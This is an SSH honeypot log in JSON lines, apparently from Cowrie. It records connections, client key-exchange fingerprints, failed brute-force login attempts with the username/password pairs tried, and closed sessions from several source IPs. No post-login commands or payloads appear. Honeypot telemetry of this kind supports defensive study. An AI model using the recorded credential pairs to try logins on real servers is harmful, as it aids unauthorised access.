{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:15.146068Z","src_ip":"185.153.231.45","session":"65c5dee8480a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lisi","password":"123","message":"login attempt [lisi/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:15.691763Z","src_ip":"185.153.231.45","session":"65c5dee8480a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:16.822647Z","src_ip":"185.153.231.45","session":"65c5dee8480a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.49","src_port":35770,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f991ffcdd0c","protocol":"ssh","message":"New connection: 81.192.46.49:35770 (159.203.135.109:22) [session: 3f991ffcdd0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:22.456841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:22.464730Z","src_ip":"81.192.46.49","session":"3f991ffcdd0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:22.581605Z","src_ip":"81.192.46.49","session":"3f991ffcdd0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator@1","message":"login attempt [root/administrator@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:23.082581Z","src_ip":"81.192.46.49","session":"3f991ffcdd0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:24.202766Z","src_ip":"81.192.46.49","session":"3f991ffcdd0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":34466,"dst_ip":"10.17.0.5","dst_port":22,"session":"f22f02c4eec1","protocol":"ssh","message":"New connection: 159.195.79.219:34466 (10.17.0.5:22) [session: f22f02c4eec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:25.975007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:25.980012Z","src_ip":"159.195.79.219","session":"f22f02c4eec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:26.071777Z","src_ip":"159.195.79.219","session":"f22f02c4eec1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.163.125","src_port":52274,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfd018be0d5b","protocol":"ssh","message":"New connection: 66.113.163.125:52274 (159.203.135.109:22) [session: bfd018be0d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:26.116455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:26.123177Z","src_ip":"66.113.163.125","session":"bfd018be0d5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:26.159782Z","src_ip":"66.113.163.125","session":"bfd018be0d5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ranjit","message":"login attempt [root/ranjit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:26.336461Z","src_ip":"66.113.163.125","session":"bfd018be0d5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:26.465927Z","src_ip":"159.195.79.219","session":"f22f02c4eec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:27.375695Z","src_ip":"66.113.163.125","session":"bfd018be0d5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:27.558318Z","src_ip":"159.195.79.219","session":"f22f02c4eec1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.16.27.190","src_port":56374,"dst_ip":"159.203.135.109","dst_port":22,"session":"0492d5f80035","protocol":"ssh","message":"New connection: 125.16.27.190:56374 (159.203.135.109:22) [session: 0492d5f80035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:42.781638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:42.785691Z","src_ip":"125.16.27.190","session":"0492d5f80035","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:43.085635Z","src_ip":"125.16.27.190","session":"0492d5f80035","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:44.368490Z","src_ip":"125.16.27.190","session":"0492d5f80035","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.0.200.227","src_port":54226,"dst_ip":"159.203.135.109","dst_port":22,"session":"5011fd520475","protocol":"ssh","message":"New connection: 107.0.200.227:54226 (159.203.135.109:22) [session: 5011fd520475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:44.548635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:44.557006Z","src_ip":"107.0.200.227","session":"5011fd520475","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:44.588860Z","src_ip":"107.0.200.227","session":"5011fd520475","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:44.747841Z","src_ip":"107.0.200.227","session":"5011fd520475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:45.705487Z","src_ip":"125.16.27.190","session":"0492d5f80035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:45.782413Z","src_ip":"107.0.200.227","session":"5011fd520475","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.107.32.186","src_port":50432,"dst_ip":"10.17.0.5","dst_port":22,"session":"d54ce41885e7","protocol":"ssh","message":"New connection: 175.107.32.186:50432 (10.17.0.5:22) [session: d54ce41885e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:46.232455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:46.237366Z","src_ip":"175.107.32.186","session":"d54ce41885e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:46.453151Z","src_ip":"175.107.32.186","session":"d54ce41885e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fai","message":"login attempt [root/fai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:47.349000Z","src_ip":"175.107.32.186","session":"d54ce41885e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:48.568085Z","src_ip":"175.107.32.186","session":"d54ce41885e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":52678,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3a2e149d673","protocol":"ssh","message":"New connection: 92.191.96.70:52678 (10.17.0.5:22) [session: f3a2e149d673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:57.367797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:57.373360Z","src_ip":"92.191.96.70","session":"f3a2e149d673","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:57.502345Z","src_ip":"92.191.96.70","session":"f3a2e149d673","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"traxdata","message":"login attempt [root/traxdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:58.028840Z","src_ip":"92.191.96.70","session":"f3a2e149d673","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:27:59.157279Z","src_ip":"92.191.96.70","session":"f3a2e149d673","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":40854,"dst_ip":"159.203.135.109","dst_port":22,"session":"904a3e2e5883","protocol":"ssh","message":"New connection: 185.153.231.45:40854 (159.203.135.109:22) [session: 904a3e2e5883]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:01.027462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:01.031581Z","src_ip":"185.153.231.45","session":"904a3e2e5883","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:01.158195Z","src_ip":"185.153.231.45","session":"904a3e2e5883","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jcon0r73","password":"qvAKezGkBP2x-stx1C-n","message":"login attempt [jcon0r73/qvAKezGkBP2x-stx1C-n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:28:01.700543Z","src_ip":"185.153.231.45","session":"904a3e2e5883","protocol":"ssh"}
